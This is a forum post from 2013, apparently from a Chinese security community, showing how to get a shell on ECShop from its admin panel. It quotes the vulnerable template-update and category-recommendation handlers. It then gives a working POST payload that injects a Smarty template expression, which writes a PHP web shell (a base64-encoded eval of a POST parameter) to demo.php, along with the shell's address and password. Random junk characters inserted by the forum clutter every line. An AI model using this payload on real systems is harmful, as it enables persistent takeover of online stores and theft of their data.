找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2414|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板/ K; c: C- U8 v
# F# `, z6 m: T9 s4 g; H" H- p+ i
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了! z% m5 r6 S5 l
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码- B- I  l1 i9 N
admin/template.php; s' B/ L  h  Q& ]5 j
' }- H3 \' s6 @, u8 a$ X
1 if ($_REQUEST['act'] == 'update_library')
0 S2 K" ]8 T8 r' s4 r" d* D/ N  g* q1 e: G2 C2 T; K1 t) Z
2   
% l, ^  m4 Y. X" Y! X8 r  Y2 L1 k
: G9 U0 K7 @5 i" z3 {
( K( X7 i# Q& B  R7 Y6 |% Z" L. p/ k: V0 f8 c% m& T
4     check_authz_json('library_manage');
3 `/ K1 g, N4 l+ k- ~7 Z( I( t9 W: M/ }4 {
5   5 s+ p' z, i; V, u  n. p

$ F$ X0 p% a7 G, p9 }% F, I, C- }  p) F6     $html = stripslashes(json_str_iconv($_POST['html'])); , y/ E0 f2 d/ {

9 a0 L7 n9 X7 @! X- a7   
/ l/ Z; X- U& J( \
* w% N9 L1 h) h  H0 C1 L# q# B8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 , [! T4 {. i" c; D4 `3 o1 W; G5 T

7 F; S  j! w0 J! y9   : f4 k  L% r+ s* z+ p1 C
3 o( v% `8 X0 ]/ ~! r' l, ^# m$ J; X
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% v' b0 H7 ~% B& ^) ~" F0 k' E1 u- E# y2 i  O
11   
' K0 a( c+ C: i6 {& g+ I: [
$ u. G& W. g, N. \: N, H5 i- l12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));   }8 `* R4 e) X" [

( u6 `. H$ C: Z13   
; S- ]6 g6 c1 p( g9 \; v( k: r) S& y
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 + ?; \- g# _6 _3 k$ M& m

% x5 a; ^1 R3 B& q- o" [4 [15     {
1 \& D. o) f0 i9 T! `, o) \6 g$ F( e0 c1 H; `
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 9 l2 [0 T, q" I9 p) J1 Y3 N; D8 c

* h/ c" r! `, h5 g. W  p* F6 k1 Y17         make_json_result('', $_LANG['update_lib_success']); 2 G- R6 {: @1 ]/ L: B. C" ]% ^
; p- \* {8 \3 M
18     } * r3 m+ Q; b3 m5 J! Y- {7 o$ D$ |

( G2 z- t( ?; W3 n8 S3 p19     else 8 U, v! c/ A& X5 ?) }# W9 k
0 d& d! {9 d8 u
20     { . |+ d3 s+ K$ U

* y' e- n) l, Y$ H) g21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); . [( ~9 ]# H2 i% @' U

" s- Z# W8 m  G7 K9 b; o22     }
! t$ f4 s8 q9 I5 a5 U- R8 p# B  V1 j$ F
23 } . e$ o# u5 a8 X9 b
+ H5 r: O3 T8 ?0 Q
那么找个比较方便调用了模板的文件( R4 |6 \7 ?5 P* N+ l
index.php; B) h: r- {. e0 F: F

: a+ c0 M0 y$ Q$ S/ r3 f2 y1 if ($act == 'cat_rec') ( t$ t' ?4 l) R' i0 Z
  Y6 P$ D, ]% q6 k2 ]8 e# w
2   5 @1 \$ c  k7 t

# \0 M+ Y; @, w/ q3 { # n* u. T0 |# o6 n* s  Q5 S
4 m6 l' P  |  r" S1 l
4   2 O3 t8 V! H! J& Z- i2 U$ A! C

6 b2 m# y; R' A6 b5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
% f0 H4 N/ H, y6 I  ]5 |1 Y  J, ?% h+ g
6   
. h4 a9 B% `! n! J
( [1 k/ a8 g5 C( e, Z7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
/ g) ^+ C0 X* @: k4 N- c( j$ q
# G& `) ^$ V% }8   % a& b- ]" K6 I, Y
: \& k  M; W1 P$ E$ k
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ! b* y  y" e8 }& D2 a' n7 L

" {, y0 j3 ~2 {" h; G" Q9 F4 J10   1 e' u: K5 F, t

$ S: i) V+ e  i  c; e0 j11     include_once('includes/cls_json.php');
/ ]5 Y2 H/ _7 W6 A3 Y
7 ~1 T9 ]2 a9 Z' U7 {0 Z, ~12   - ~( x  q9 {! O1 r0 ?# s! p

( a' ~, v+ G& Q/ j" ^% V7 X; H3 K13     $json = new JSON; * `) i2 c1 f- b5 ^

& u+ ^" I1 b/ f! B0 e6 G14   : s2 V3 ^! l) V% l

+ U, i1 Y+ ^& W15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); . Y& A- }" t7 o
& O' ]6 H1 X$ _  \8 |
16   
2 l4 v& r9 Z7 s, x- j9 H& j9 f3 i0 N' o( {& a0 Y
17     $children = get_children($cat_id);
6 G1 N8 D7 C) K' a$ y  S. o$ l8 _) r5 Y" h! S' ^) z
18   
1 I5 s9 ]# c- M6 J7 f
( c/ q) P( O" d8 ~' h19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 $ ^8 B$ m' E* Y$ k% I

- m% r/ Z2 u  p20   8 M. |; a" q* M$ x' u$ a

$ r; R6 u6 f. j/ Z2 Q- U21     $smarty->assign('cat_rec_sign', 1); / V+ s8 k6 _. E; g4 L
) C' p3 G" y! {! k1 I! p
22   
* b) u! j$ G- z3 u) Y& d1 d& y9 ]
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best   [; r; o% I  O- c

  w5 k, p# U; G24   + ?5 _2 A& B0 X. w6 r  Y5 A/ [' N
/ S8 j9 k0 u/ M  c& U( K2 x" H
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
7 Q! ?# X  y2 i0 d+ v# G" W/ w. ~( p5 b: L
26   
! I0 Q6 q* ]2 B* I  W+ p/ ~$ `2 {! _* w% J
27         echo $rec_array[$rec_type]; 2 U* J7 s  p  S7 ]6 O

: ^9 M9 a7 R5 e; ?: c7 K/ C28   3 k2 o" o; h. |% K, I* S8 Z% \8 s4 P9 q

" h9 \7 |5 H% G3 }/ a29     die($json->encode($result));
" g/ Y* D* [; N0 ?  S7 E( V* K* O& U
30   * H! m1 y* c; k

; T6 r! [# @/ ~! Z3 x* ]  ]2 s  o31 } 4 l  z' N1 W  {5 o# }
& a. ?- U4 M! v8 V3 B  }1 D
那么就有利用方法了
" |: I$ ?4 f" M& Upost包到http://localhost/ec/admin/template.php?act=update_library3 O, B; O' F! @+ D& _& R) W4 f
Post内容:
: _# t6 B' U: R# u- |$ Y
) }4 _! i" W4 Q7 I3 H' W/ ^5 K' ]) O0 N+ s5 f+ F
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ) t: x3 z% x- E& X

( ?% ~0 y9 X; H+ N! j9 _/ z1 E然后访问http://localhost/ec/index.php?act=cat_rec
: V7 R8 |. p# T' X5 r
& {4 L& l& J% D3 Ishel地址:http://localhost/ec/demo.php
8 Y7 c+ f6 I+ g/ _+ v4 K密码c0 L. F* o# `9 |4 T! t3 S

, }$ [, _$ {' s' ?! B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表